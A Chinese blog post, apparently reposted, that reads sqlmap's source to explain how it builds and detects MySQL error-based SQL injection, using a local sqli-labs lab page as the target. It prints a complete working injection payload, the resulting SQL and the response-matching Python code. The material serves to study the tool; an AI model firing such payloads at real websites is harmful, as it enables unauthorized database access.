Python:SQLMap源码精读—基于错误的盲注(error-based blind)

目标网址

http://127.0.0.1/shentou/sqli-labs-master/Less-5/?id=1

Payload的生成

<code> 1 <test>
2 <title>MySQL >= 5.0 AND error-based - WHERE or HAVING clause/<title>
3 <stype>2/<stype>
4 <level>1/<level>
5 <risk>0/<risk>
6 <clause>1/<clause>
7 <where>1/<where>
8 <vector>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)/<vector>
9 <request>
10 <payload>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)/<payload>
11 /<request>
12 <response>
13 <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]/<result>/<grep>
14 /<response>
15 <details>
16 <dbms>MySQL/<dbms>
17 <dbms>>= 5.0/<dbms>
18 /<details>
19 /<test>/<code>

该test xml元素是从文件payloads.xml提取出来的。

sqlmap会实现读取payloads.xml文件中的test元素,然后循环遍历,并生成相应的payload进行测试。

以上面的test为例,当遍历到该test的时候,在其子循环当中,还需要依次遍历boundary元素(都在payloads.xml文件中),并找到一个匹配的boundary。

何为匹配?

注意上面的test元素的子节点:where=1 和 clause=1

当且仅当某个boundary元素的where节点的值包含test元素的子节点,clause节点的值包含test元素的子节点的时候,该boundary才能和当前的test匹配,从而进一步生成payload。

例如:

<code>1 <boundary>
2 <level>1/<level>
3 <clause>1/<clause>
4 <where>1,2/<where>
5 <ptype>2/<ptype>
6 <prefix>'/<prefix>
7 <suffix>AND '[RANDSTR]'='[RANDSTR]/<suffix>
8 /<boundary>/<code>

该boundary元素中的where节点的值为1,2,含有test元素的where节点的值(1)

并且,boundary元素中的clause节点的值为1,含有test元素的where节点的值(1)

因此,该boundary和test元素可以匹配。

test元素的payload的值为:

<code>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)/<code>

最终的payload是根据test的payload子节点和boundary的prefix(前缀)、suffix(后缀)子节点的值组合而成的,即:

最终的payload = url参数 + boundary.prefix+test.payload+boundary.suffix

将其中的[RANDNUM]、[DELIMITER_START]、[DELIMITER_STOP]替换掉之后

则生成的payload类似如下:

Payload: id=1' AND (SELECT 1497 FROM(SELECT COUNT(*),CONCAT(CHAR(58,101,121,111,58),(SELECT (CASE WHEN (1497=1497) THEN 1 ELSE 0 END)),CHAR(58,97,98,104,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) AND 'pujM'='pujM

其中:

  • URL参数:id=1
  • prefix:'
  • payload:AND (SELECT 1497 FROM(SELECT COUNT(*),CONCAT(CHAR(58,101,121,111,58),(SELECT (CASE WHEN (1497=1497) THEN 1 ELSE 0 END)),CHAR(58,97,98,104,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
  • suffix:AND 'pujM'='pujM

最终生成的mysql语句为:

<code>SELECT
*
FROM
users
WHERE
id = '1'
AND (
SELECT
1497
FROM
(
SELECT
COUNT(*),
CONCAT(
CHAR (58, 101, 121, 111, 58),
(
SELECT
(
CASE
WHEN (1497 = 1497) THEN
1
ELSE
0
END
)
),
CHAR (58, 97, 98, 104, 58),
FLOOR(RAND(0) * 2)

) x
FROM
information_schema. TABLES
GROUP BY
x
) a
)
AND 'pujM' = 'pujM'/<code>

如果,url:http://127.0.0.1/shentou/sqli-labs-master/Less-5/?id=1可注入的话,那么执行的时候就会报如下错误:

Duplicate entry ':eyo:1:abh:1' for key 'group_key'

源码解释

<code> 1 # In case of error-based SQL injection
2 elif method == PAYLOAD.METHOD.GREP:
3 # Perform the test's request and grep the response
4 # body for the test's <grep> regular expression
5 try:
6 page, headers = Request.queryPage(reqPayload, place, content=True, raise404=False)
7 output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) \\
8 or extractRegexResult(check, listToStrValue(headers.headers \\
9 if headers else None), re.DOTALL | re.IGNORECASE) \\
10 or extractRegexResult(check, threadData.lastRedirectMsg[1] \\
11 if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \\
12 threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
13
14 if output:
15 result = output == "1"
16 if result:
17 infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title)
18 logger.info(infoMsg)
19
20 injectable = True
21
22 except sqlmapConnectionException, msg:
23 debugMsg = "problem occured most likely because the "
24 debugMsg += "server hasn't recovered as expected from the "
25 debugMsg += "error-based payload used ('%s')" % msg
26 logger.debug(debugMsg)/<grep>/<code>

将最终的payload传递给Request.queryPage函数执行并返回最终的执行结果page

test元素的grep子节点的值是一个正则表达式:<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]/<result>/<grep>

由前面的数据,我们知道

[DELIMITER_START]=:eyo:

[DELIMITER_STOP] =:abh:

则最终生成的正则表达式为::eyo:(?P<result>.*?):abh:(每次生成都是不一样的,因为:eyo:和:abh:都是随机生成的)/<result>

将page和正则表达式传递给函数extractRegexResult

<code> 1 def extractRegexResult(regex, content, flags=0):
2 """
3 Returns 'result' group value from a possible match with regex on a given
4 content
5 """
6
7 retVal = None
8
9 if regex and content and '?P<result>' in regex:
10 match = getCompiledRegex(regex, flags).search(content)
11
12 if match:
13 retVal = match.group("result")
14
15 return retVal/<result>/<code>

函数功能较简单,主要使用正则表达式判断是否包含指定的数据,如果有,则返回匹配的数据,没有,则返回None。

由前面的内容,可知,如果url可以注入的话,返回值retVal应该等于"1"

<code>if output:
result = output == "1"
if result:

infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title)
logger.info(infoMsg)

injectable = True/<code>

而使用正则::eyo:(?P<result>.*?):abh:来匹配Duplicate entry ':eyo:1:abh:1' for key 'group_key'的结果为:1/<result>

故,url:http://127.0.0.1/shentou/sqli-labs-master/Less-5/?id=1可注入


原文链接:http://www.cnblogs.com/hongfei/p/sqlmap-error-based-blind.html


Python:SQLMap源码精读—基于错误的盲注(error-based blind)


分享到:


相關文章: